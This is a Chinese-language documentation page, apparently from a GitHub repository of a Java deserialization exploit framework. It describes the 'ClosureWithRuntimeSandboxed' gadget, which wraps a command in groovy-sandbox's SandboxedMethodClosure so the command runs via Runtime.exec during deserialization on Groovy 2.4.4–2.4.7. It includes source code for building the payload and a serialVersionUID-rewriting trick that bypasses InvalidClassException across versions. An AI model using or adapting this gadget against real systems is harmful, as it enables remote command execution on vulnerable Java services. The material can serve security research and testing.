Skip to content

Latest commit

 

History

History
78 lines (65 loc) · 4.79 KB

File metadata and controls

78 lines (65 loc) · 4.79 KB

Groovy沙箱-命令执行(ClosureWithRuntimeSandboxed)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.codehaus.groovy:groovy:2.4.4-2.4.7org.kohsuke:groovy-sandbox

作用

ClosureWithRuntime 的沙箱兼容变体。用 org.kohsuke.groovy.sandbox.impl.SandboxedMethodClosure 替代 MethodClosure,目标为命令字符串 + "execute",用于 Groovy 2.4.4~2.4.7 且目标依赖 groovy-sandbox 的环境;同时通过 suidReplace 机制在序列化时改写 MethodClosureserialVersionUID,解决 2.4.3 → 2.4.4+ 之间 SUID 变化导致的 InvalidClassException

链接标签

  • 入口 tagsClosureWithRuntimeChain —— 与非沙箱版共用同一入口标签,承接 Groovy 等上游。
  • 入口 tagsNotForHessian —— 不适用于 Hessian 场景。
  • 入口 tagsEND —— 链尾 sink。
  • 衔接 nextTags:无。 excludes:无。

源码剖析

private static final String SUID_243 = "-8137949907733646644";
private static final String SUID_244_PLUS = "-2491254866810955844";
private static final String SANDBOX_CLOSURE = "org.kohsuke.groovy.sandbox.impl.SandboxedMethodClosure";

@Param(name="命令") public String cmd = "calc";
@Param(name="SUID替换", description="MethodClosure SUID 兼容", requires=false, type=ParamType.Choice, ...)
public String suidReplace = "-8137949907733646644|-2491254866810955844";

public Object getObject() throws Exception {
    return createSandboxedMethodClosure(this.cmd, "execute");
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    this.applySuidReplace(context);
    return this.getObject();
}

private static Object createSandboxedMethodClosure(Object target, String method) throws Exception {
    try {
        Constructor<?> ctor = Reflections.getConstructor(SANDBOX_CLOSURE, new Class[]{Object.class, String.class});
        return ctor.newInstance(target, method);
    } catch (Exception e) {
        ThrowsUtil.throwGadgetException("Missing groovy-sandbox dependency: ...SandboxedMethodClosure");
        return null;
    }
}

SandboxedMethodClosuregroovy-sandbox 提供的 MethodClosure 子类,本类用反射(Reflections.getConstructor)以 (Object target, String method) 构造它,避免对 sandbox 类的编译期依赖;缺依赖时抛出明确异常。触发语义与 MethodClosure 一致:闭包 call() 无参调用 cmd.execute()Runtime.exec。选择该子类是因为在装了 groovy-sandbox 的目标里它同样在类路径上、且其序列化形态更贴合真实业务环境。

SUID 兼容机制 applySuidReplace

private void applySuidReplace(GadgetContext context) {
    if (suidReplace == null || suidReplace.trim().isEmpty()) return;
    String existing = context.getString(ContextTag.SUID_REPLACE);
    if (existing == null || existing.trim().isEmpty() || "null".equalsIgnoreCase(existing.trim()))
        context.put(ContextTag.SUID_REPLACE, suidReplace.trim());
    else
        context.put(ContextTag.SUID_REPLACE, existing + ";" + suidReplace.trim());
}

它把形如 旧SUID|新SUID-8137949907733646644|-2491254866810955844,即 2.4.3 → 2.4.4+)的替换规则写入 GadgetContextSUID_REPLACE 标签,多条规则以 ; 追加。序列化阶段由框架读取该上下文,在写出的字节流中把 MethodClosure 类描述符里的 serialVersionUID 从旧值改写为目标环境的新值,从而让 2.4.3 构造出的 payload 能被 2.4.4~2.4.7 成功反序列化,绕过 InvalidClassException

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 待执行命令(SandboxedMethodClosure owner,经 String.execute() 运行) calc 自由文本
suidReplace SUID替换 写入 ContextTag.SUID_REPLACE 的 SUID 改写规则 `旧 新`;留空则禁用 -8137949907733646644|-2491254866810955844

适用版本与原理要点

  • 面向 org.codehaus.groovy:groovy:2.4.4-2.4.7 且存在 org.kohsuke:groovy-sandbox 的目标。
  • 核心价值有二:用类路径上确实存在的 SandboxedMethodClosure 子类提高兼容性;用 SUID_REPLACE 抹平跨小版本的 MethodClosure SUID 差异。
  • 若目标为纯 2.4.3,用非沙箱的 ClosureWithRuntime 即可。

所属预设链

  • 自由构件,未直接出现在预设链(usedInChains 为空)。

关联